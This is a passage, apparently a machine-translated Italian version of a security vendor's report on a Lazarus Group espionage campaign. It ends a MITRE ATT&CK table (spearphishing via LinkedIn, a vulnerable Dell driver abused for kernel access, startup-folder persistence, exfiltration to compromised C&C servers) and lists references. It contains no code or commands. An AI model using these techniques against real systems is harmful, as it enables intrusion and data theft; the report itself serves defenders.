T1132.001 Codifica dati: codifica standard I payload HTTP(S) di Lazarus codificano il traffico C&C utilizzando l'algoritmo base64.
exfiltration T1560.002 Archivia i dati raccolti: Archivia tramite la libreria L'uploader HTTP(S) di Lazarus può comprimere i file di interesse e caricarli nel proprio C&C.
Sviluppo delle risorse T1584.004 Acquisire infrastruttura: server I server compromessi sono stati utilizzati da tutte le backdoor, gli uploader e i downloader HTTP(S) di Lazarus come C&C.
Sviluppare capacità T1587.001 Malware Gli strumenti personalizzati dell'attacco sono probabilmente sviluppati dagli aggressori. Alcuni mostrano capacità di sviluppo del kernel altamente specifiche viste in precedenza negli strumenti Lazarus.
T1204.002 Esecuzione utente: file dannoso L'obiettivo è stato indotto ad aprire un documento Word dannoso.
Accesso iniziale T1566.003 Phishing: Spearphishing tramite servizio Il target è stato contattato tramite LinkedIn Messaging.
T1566.001 Phishing: allegato spearphishing La destinazione ha ricevuto un allegato dannoso.
Persistenza T1547.006 Esecuzione di avvio o accesso automatico: moduli ed estensioni del kernel Il BYOVD DButils_2_3.sys è stato installato per l'avvio tramite il caricatore di avvio (valore 0x00 nel Inizio chiave sotto HKLMSYSTEM‌CurrentControlSetServices.
T1547.001 Esecuzione di avvio o accesso con avvio automatico: cartella di avvio Il contagocce del downloader HTTP(S) crea un file LNK OneNoteTray.LNK nella cartella di avvio.

Riferimenti

Ahnlab. Rapporto di analisi sull'attacco rootkit di Lazarus Group utilizzando BYOVD. vers. 1.0. 22 settembre 2022. Estratto da AhnLab Security Emergency Response Center.

Ahnlab. (2021, 4 giugno). Attacchi APT alle società nazionali che utilizzano file di libreria. Estratto da AhnLab Security Emergency Response Center.

Ahnlab. (2022, 22 settembre). Rapporto di analisi sull'attacco rootkit di Lazarus Group utilizzando BYOVD. Estratto da AhnLab Security Emergency Response Center.

Breitenbacher, D. e Kaspars, O. (2020, giugno). Operazione In(ter)ception: Compagnie aerospaziali e militari nel mirino delle cyberspie. Estratto da WeLiveSecurity.com.

Team di ricerca ClearSky. (2020, 13 agosto). Operazione "Dream Job" Campagna di spionaggio nordcoreana diffusa. Estratto da ClearSky.com.

Dekel, K. (nd). Ricerca sulla sicurezza di Sentinel Labs. CVE-2021-21551- Centinaia di milioni di computer Dell a rischio a causa di molteplici difetti di escalation dei privilegi dei driver BIOS. Estratto da SentinelOne.com.

ESET. (2021, 3 giugno). Rapporto sulle minacce ESET T 1 2021. Estratto da WeLiveSecurity.com.

Grande. (2016, 16 agosto). Il giveaway dell'equazione. Estratto da SecureList.com.

HvS-Consulting AG. (2020, 15 dicembre). Saluti da Lazzaro: Anatomia di una campagna di cyber-spionaggio. Estratto da hvs-consulting.de.

Cherepanov, A. e Kálnai, P. (2020, novembre). Attacco alla catena di approvvigionamento di Lazarus in Corea del Sud. Estratto da WeLiveSecurity.com.

Kalnai, P. (2017, 2 17). Demistificare il malware mirato utilizzato contro le banche polacche. (ESET) Estratto da WeLiveSecurity.com.

Kopeytsev, V. e Park, S. (2021, febbraio). Lazarus prende di mira l'industria della difesa con ThreatNeedle. (Kaspersky Lab) Estratto da SecureList.com.

Lee, T.-w., Dong-wook, & Kim, B.-j. (2021). Operazione BookCode – Mirare alla Corea del Sud. Bollettino sui virus. host locale. Estratto da vblocalhost.com.

Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M. e Gupta, Y. (2022, 14 settembre). È tempo di mastice! RPDC Opportunità di lavoro Phishing tramite WhatsApp. Estratto da Mandiant.com.

Tomonaga, S. (2020 settembre 29). BLINDINGCAN – Malware utilizzato da Lazarus. (JPCERT/CC) Estratto da blogs.jpcert.or.jp.

CISA USA-CERT. (2020, 19 agosto). MAR-10295134-1.v1 – Trojan di accesso remoto nordcoreano: BLINDINGCAN. (CISA) Estratto da cisa.gov.

Weidemann, A. (2021, 1). Nuova campagna rivolta ai ricercatori della sicurezza. (Gruppo di analisi delle minacce di Google) Estratto da blog.google.

Wu, H. (2008). Il codice di flusso HC-128. In M. Robshaw e O. Billet, Nuovi progetti di cifratura a flusso (Vol. 4986). Berlino, Heidelberg: Springer. Estratto da doi.org.

spot_img

L'ultima intelligenza

spot_img